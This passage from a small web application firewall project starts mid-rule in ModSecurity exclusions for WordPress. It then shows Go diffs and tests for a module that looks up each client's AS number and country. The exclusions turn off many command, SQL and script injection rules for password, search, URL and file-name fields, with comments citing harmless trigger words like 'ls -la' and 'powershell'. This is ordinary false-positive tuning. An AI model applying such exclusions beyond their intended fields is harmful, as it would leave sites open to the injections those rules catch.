ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
# The other passwords, which skip the same rules:
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
# profile page and the page that edits a user, and adding a user; a
# multisite install also changes it on network/user-edit.php,
# network/profile.php and user/profile.php
# post_password: the password of a protected post, sent to /wp-login.php
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new|network/user-edit|network/profile|user/profile)\.php)$" \
"id:900715,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
# Creating or editing a user through the REST API, in password, in form data or
# JSON, which skips the same rules.
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
"id:900716,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
# 932120 and 932260:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule TX:rest_route "@beginsWith /wp/v2/" "id:900712,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:title|excerpt|slug|name)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:title|excerpt|slug|name)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:title|excerpt|name)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:title|excerpt|slug|name)$/"
# A comment's author gives the address of their site in url, which skips these
# rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule REQUEST_FILENAME "@streq /wp-comments-post.php" \
"id:900713,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:url "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The block editor's link previews and embeds send an address in url, which
# skips these rules there:
# 930120: http://blog.example/.htaccess
# 932120: http://blog.example/powershell-basics/
SecRule TX:rest_route "@rx ^/(?:wp-block-editor/v1/url-details|oembed/1\.0/proxy)$" \
"id:900714,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:url,\
ctl:ruleRemoveTargetById=932120;ARGS:url"
# The plugin and theme file editors name the file open in file, which skips
# these rules there:
# 930120: akismet/views/config.php
# 932120: install-script.sh
# 932160: bin/install.sh
# 932260: docker-compose.yml
# 941180: document.write.js
SecRule REQUEST_FILENAME "@rx ^/wp-admin/(?:plugin|theme)-editor\.php$" \
"id:900709,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932160;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file,\
ctl:ruleRemoveTargetById=941180;ARGS:file"
# Searches, the names of tags, categories, plugins, themes and plugins' settings
# pages, and addresses can hold any word. In the fields of the next three rules,
# each request skips the rules that refused such words:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# An address repeats the search it came from, so only the addresses of the first
# group also skip:
# 932235: python3, in the address of a page of results
# All of wp-admin, and signing in. A plugin's settings page is named in page.
# The site editor names a template in p and postId, and a plugin to install is
# named in slug. WordPress writes these three as slugs, such as htaccess or
# ls-la, so they skip only 932120 and 932260. Names are matched in lower case,
# so postId is written postid.
SecRule REQUEST_FILENAME "@rx ^/(?:wp-admin/|wp-login\.php$)" \
"id:900707,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|search|q|term|tag|category_name|plugin|checked\[\]|theme|stylesheet|page|p|postid|slug|url|return|redirect_to|wp_http_referer|_wp_http_referer)$/"
# Every route of WordPress's own REST API, and the embed address each post links
# to.
SecRule TX:rest_route "@rx ^/(?:wp/v2/|oembed/1\.0/embed$)" \
"id:900708,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|slug|url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|slug|url)$/"
# The site's own pages, and the later pages of a search.
SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$" \
"id:900710,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:s|tag)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:s|tag)$/"
# The media list sends its own address in _wp_http_referer, which ends in &ps and
# so skips 932340 there.
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
SecMarker END_WORDPRESS
+26 -9
View File
@@ -24,9 +24,9 @@ const quietTime = 2 * time.Second
// FileParams are what OpenFile needs. // FileParams are what OpenFile needs.
type FileParams struct { type FileParams struct {
// Path is the lookup database, the IPinfo Lite file in its .mmdb form // Path is the lookup database, the IPinfo Lite file in its .mmdb form
// (SWWAF_LOOKUP_DB_PATH). // (SWW_WAF_LOOKUP_DB_PATH).
Path string Path string
// Now tells the time, normally time.Now. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
// ProcessLog receives each reading of the file, and why a replacement // ProcessLog receives each reading of the file, and why a replacement
// of it cannot be read. // of it cannot be read.
@@ -51,7 +51,7 @@ type File struct {
} }
// record is what the lookup database holds about a network, of the fields // record is what the lookup database holds about a network, of the fields
// smallwebwaf reads. // sww reads.
type record struct { type record struct {
ASN string `maxminddb:"asn"` ASN string `maxminddb:"asn"`
ASName string `maxminddb:"as_name"` ASName string `maxminddb:"as_name"`
@@ -133,8 +133,11 @@ func (f *File) Watch(ctx context.Context) {
} }
if err != nil { if err != nil {
f.params.ProcessLog.Error("cannot watch the lookup database for replacements", f.params.ProcessLog.Error(
"error", err.Error()) "cannot watch the lookup database for replacements",
"error",
err.Error(),
)
return return
} }
@@ -194,7 +197,10 @@ func (f *File) readAgain() {
f.params.Alerts.Raise(alerts.Alert{ f.params.Alerts.Raise(alerts.Alert{
Event: alerts.EventFileError, Event: alerts.EventFileError,
Reason: kept, Reason: kept,
Detail: map[string]any{"file": f.params.Path, "error": err.Error()}, Detail: map[string]any{
"file": f.params.Path,
"error": err.Error(),
},
}) })
f.params.ProcessLog.Error(kept, "error", err.Error()) f.params.ProcessLog.Error(kept, "error", err.Error())
@@ -212,7 +218,11 @@ func (f *File) use(reader *maxminddb.Reader) {
f.lastRead = f.params.Now() f.lastRead = f.params.Now()
f.mu.Unlock() f.mu.Unlock()
f.params.ProcessLog.Info("read the lookup database", "file", f.params.Path) f.params.ProcessLog.Info(
"read the lookup database",
"file",
f.params.Path,
)
} }
// read reads the lookup database at path. The whole file is read into // read reads the lookup database at path. The whole file is read into
@@ -221,12 +231,19 @@ func (f *File) use(reader *maxminddb.Reader) {
func read(path string) (*maxminddb.Reader, error) { func read(path string) (*maxminddb.Reader, error) {
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
if err != nil { if err != nil {
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH cannot be read: %w", err) return nil, fmt.Errorf(
"SWW_WAF_LOOKUP_DB_PATH cannot be read: %w",
err,
)
} }
reader, err := maxminddb.OpenBytes(data) reader, err := maxminddb.OpenBytes(data)
if err != nil { if err != nil {
return nil, fmt.Errorf("SWWAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err) return nil, fmt.Errorf(
"SWW_WAF_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
path,
err,
)
} }
return reader, nil return reader, nil
+49 -16
View File
@@ -26,11 +26,21 @@ const (
testClient = "203.0.113.9/32" testClient = "203.0.113.9/32"
) )
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) { func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
t *testing.T,
) {
t.Parallel() t.Parallel()
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"} germany := lookuptest.Network{
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"} ASN: "AS64496",
ASName: "Example Net",
Country: "DE",
}
northKorea := lookuptest.Network{
ASN: "AS64511",
ASName: "Other Net",
Country: "KP",
}
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: germany, testNetblock: germany,
@@ -62,7 +72,13 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T)
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country, Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
Answered: now, Answered: now,
}) { }) {
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now) t.Errorf(
"%s has the answer %+v, want %+v, answered %s",
client,
got,
want,
now,
)
} }
} }
} }
@@ -99,9 +115,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
writeFile(t, notDatabase, "not a lookup database\n") writeFile(t, notDatabase, "not a lookup database\n")
for path, want := range map[string]string{ for path, want := range map[string]string{
missing: "SWWAF_LOOKUP_DB_PATH cannot be read: open " + missing + missing: "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + missing +
": no such file or directory", ": no such file or directory",
notDatabase: "SWWAF_LOOKUP_DB_PATH " + notDatabase + notDatabase: "SWW_WAF_LOOKUP_DB_PATH " + notDatabase +
" is not a .mmdb file: error opening database: invalid MaxMind DB file", " is not a .mmdb file: error opening database: invalid MaxMind DB file",
} { } {
_, err := OpenFile(FileParams{ _, err := OpenFile(FileParams{
@@ -122,7 +138,9 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
// reading due by then is done. The test sends the changes itself, as the // reading due by then is done. The test sends the changes itself, as the
// watch of a directory cannot run in a bubble. // watch of a directory cannot run in a bubble.
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) { func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -137,7 +155,8 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
other := filepath.Join(dir, "replacement.mmdb") other := filepath.Join(dir, "replacement.mmdb")
writeDatabase(t, other, "KP") writeDatabase(t, other, "KP")
replacement, err := os.ReadFile(other) //nolint:gosec // a file the test wrote //nolint:gosec // a file the test wrote
replacement, err := os.ReadFile(other)
if err != nil { if err != nil {
t.Fatalf("read %s: %v", other, err) t.Fatalf("read %s: %v", other, err)
} }
@@ -176,15 +195,20 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
wantCountry(t, f, "KP") wantCountry(t, f, "KP")
if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 { if !f.LastRead().Equal(time.Now()) || f.ReadFailures() != 0 {
t.Errorf("read at %s, with %d failures; want read now, with none", t.Errorf(
f.LastRead(), f.ReadFailures()) "read at %s, with %d failures; want read now, with none",
f.LastRead(),
f.ReadFailures(),
)
} }
wantAlerts(t, queue) wantAlerts(t, queue)
}) })
} }
func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T) { func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -206,8 +230,12 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
wantCountry(t, f, "DE") wantCountry(t, f, "DE")
if !f.LastRead().Equal(read) || f.ReadFailures() != 1 { if !f.LastRead().Equal(read) || f.ReadFailures() != 1 {
t.Errorf("read at %s, with %d failures; want read at %s, with one", t.Errorf(
f.LastRead(), f.ReadFailures(), read) "read at %s, with %d failures; want read at %s, with one",
f.LastRead(),
f.ReadFailures(),
read,
)
} }
wantAlerts(t, queue, alerts.Alert{ wantAlerts(t, queue, alerts.Alert{
@@ -216,7 +244,7 @@ func TestReplacementThatCannotBeReadLeavesTheFileInUseWithOneAlert(t *testing.T)
Reason: "the lookup database cannot be read, and the one read before stays in use", Reason: "the lookup database cannot be read, and the one read before stays in use",
Detail: map[string]any{ Detail: map[string]any{
"file": path, "file": path,
"error": "SWWAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " + "error": "SWW_WAF_LOOKUP_DB_PATH " + path + " is not a .mmdb file: " +
"error opening database: invalid MaxMind DB file", "error opening database: invalid MaxMind DB file",
}, },
}) })
@@ -289,7 +317,11 @@ func writeDatabase(t *testing.T, path, country string) {
t.Helper() t.Helper()
lookuptest.Write(t, path, map[string]lookuptest.Network{ lookuptest.Write(t, path, map[string]lookuptest.Network{
testNetblock: {ASN: "AS64496", ASName: "Example Net", Country: country}, testNetblock: {
ASN: "AS64496",
ASName: "Example Net",
Country: country,
},
}) })
} }
@@ -349,7 +381,8 @@ func wantAlerts(t *testing.T, queue *alerts.Queue, want ...alerts.Alert) {
t.Helper() t.Helper()
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != len(want) || (len(want) > 0 && !reflect.DeepEqual(waiting, want)) { if len(waiting) != len(want) ||
(len(want) > 0 && !reflect.DeepEqual(waiting, want)) {
t.Errorf("alerts waiting %+v, want %+v", waiting, want) t.Errorf("alerts waiting %+v, want %+v", waiting, want)
} }
+28 -12
View File
@@ -1,6 +1,6 @@
// Package lookup looks up each client's AS number and country, through // Package lookup looks up each client's AS number and country, through
// the GeoJS web service or in the lookup database, the IPinfo Lite file // the GeoJS web service or in the lookup database, the IPinfo Lite file
// SWWAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at // SWW_WAF_LOOKUP_DB_PATH names. GeoJS's answers are kept in memory, for at
// most 100,000 clients and for 7 days each, and are written to // most 100,000 clients and for 7 days each, and are written to
// lookups.json and read from it by the state package. // lookups.json and read from it by the state package.
package lookup package lookup
@@ -66,7 +66,7 @@ type Params struct {
URL string URL string
// Timeout is how long a request waits for its client's first answer, // Timeout is how long a request waits for its client's first answer,
// and how long a request to GeoJS may take before it is abandoned // and how long a request to GeoJS may take before it is abandoned
// (SWWAF_LOOKUP_TIMEOUT). // (SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS).
Timeout time.Duration Timeout time.Duration
// Wait is true when a setting needs each request's answer before the // Wait is true when a setting needs each request's answer before the
// request goes on. Otherwise no request waits for one. // request goes on. Otherwise no request waits for one.
@@ -74,7 +74,7 @@ type Params struct {
// Answered, unless nil, is given each answer GeoJS gives, once it is // Answered, unless nil, is given each answer GeoJS gives, once it is
// kept. // kept.
Answered func(Answer) Answered func(Answer)
// Now tells the time, normally time.Now. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
// ProcessLog receives GeoJS's failures. // ProcessLog receives GeoJS's failures.
ProcessLog *slog.Logger ProcessLog *slog.Logger
@@ -198,7 +198,7 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, found := g.kept(client) answer, found := g.kept(client)
if !found { if !found {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
} }
w, waiting := g.waiting[client] w, waiting := g.waiting[client]
@@ -211,7 +211,10 @@ func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
// LookUpWithoutWaiting is LookUp for a request that does not need the answer, // LookUpWithoutWaiting is LookUp for a request that does not need the answer,
// whatever Wait says: it returns the zero Answer at once when none is kept. // whatever Wait says: it returns the zero Answer at once when none is kept.
func (g *GeoJS) LookUpWithoutWaiting(ctx context.Context, client netip.Prefix) Answer { func (g *GeoJS) LookUpWithoutWaiting(
ctx context.Context,
client netip.Prefix,
) Answer {
answer, _ := g.answerOrWait(ctx, client, false) answer, _ := g.answerOrWait(ctx, client, false)
return answer return answer
@@ -296,7 +299,7 @@ func (g *GeoJS) answerOrWait(
} }
if w == nil { if w == nil {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil // too many clients wait already return Answer{}, nil // too many clients wait already
} }
@@ -307,7 +310,7 @@ func (g *GeoJS) answerOrWait(
} }
if w.late { if w.late {
g.metrics.GeoJSUnanswered.Inc() g.metrics.RequestsWithoutGeoJSAnswer.Inc()
return Answer{}, nil return Answer{}, nil
} }
@@ -429,14 +432,21 @@ func (g *GeoJS) keep(
} }
if err == nil && leftOut > 0 { if err == nil && leftOut > 0 {
err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients)) err = fmt.Errorf(
"%w %d of %d addresses",
errLeftOut,
leftOut,
len(clients),
)
} }
if err != nil { if err != nil {
g.metrics.GeoJSFailures.Inc() g.metrics.GeoJSFailures.Inc()
g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay), g.retryDelay = min(
maxRetryDelay) max(retryDelayFactor*g.retryDelay, firstRetryDelay),
maxRetryDelay,
)
g.retryAt = now.Add(g.retryDelay) g.retryAt = now.Add(g.retryDelay)
g.asking = false g.asking = false
@@ -482,7 +492,12 @@ func (g *GeoJS) request(
ctx, cancel := context.WithTimeout(ctx, g.timeout) ctx, cancel := context.WithTimeout(ctx, g.timeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody) req, err := http.NewRequestWithContext(
ctx,
http.MethodGet,
g.url,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request to GeoJS: %w", err) return nil, fmt.Errorf("make the request to GeoJS: %w", err)
} }
@@ -514,7 +529,8 @@ func (g *GeoJS) request(
CountryCode string `json:"country_code"` CountryCode string `json:"country_code"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers) err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).
Decode(&answers)
if err != nil { if err != nil {
return nil, fmt.Errorf("read GeoJS's answer: %w", err) return nil, fmt.Errorf("read GeoJS's answer: %w", err)
} }
+85 -25
View File
@@ -85,8 +85,13 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
began := time.Now() began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client) answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) { if waited := time.Since(began); waited != 0 ||
t.Errorf("got %+v after %s, want no answer at once", answer, waited) answer != (lookup.Answer{}) {
t.Errorf(
"got %+v after %s, want no answer at once",
answer,
waited,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -100,7 +105,11 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
waitForCountry(t, g, clock, client, germany) waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany { if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf("the kept answer gives the country %q, want %q", got, germany) t.Errorf(
"the kept answer gives the country %q, want %q",
got,
germany,
)
} }
}) })
} }
@@ -120,7 +129,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
var earlier sync.WaitGroup var earlier sync.WaitGroup
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) earlier.Go(
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
)
defer earlier.Wait() defer earlier.Wait()
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -152,7 +163,9 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
}) })
} }
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) { func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -197,7 +210,11 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing
synctest.Wait() synctest.Wait()
if waited != longerTimeout { if waited != longerTimeout {
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout) t.Errorf(
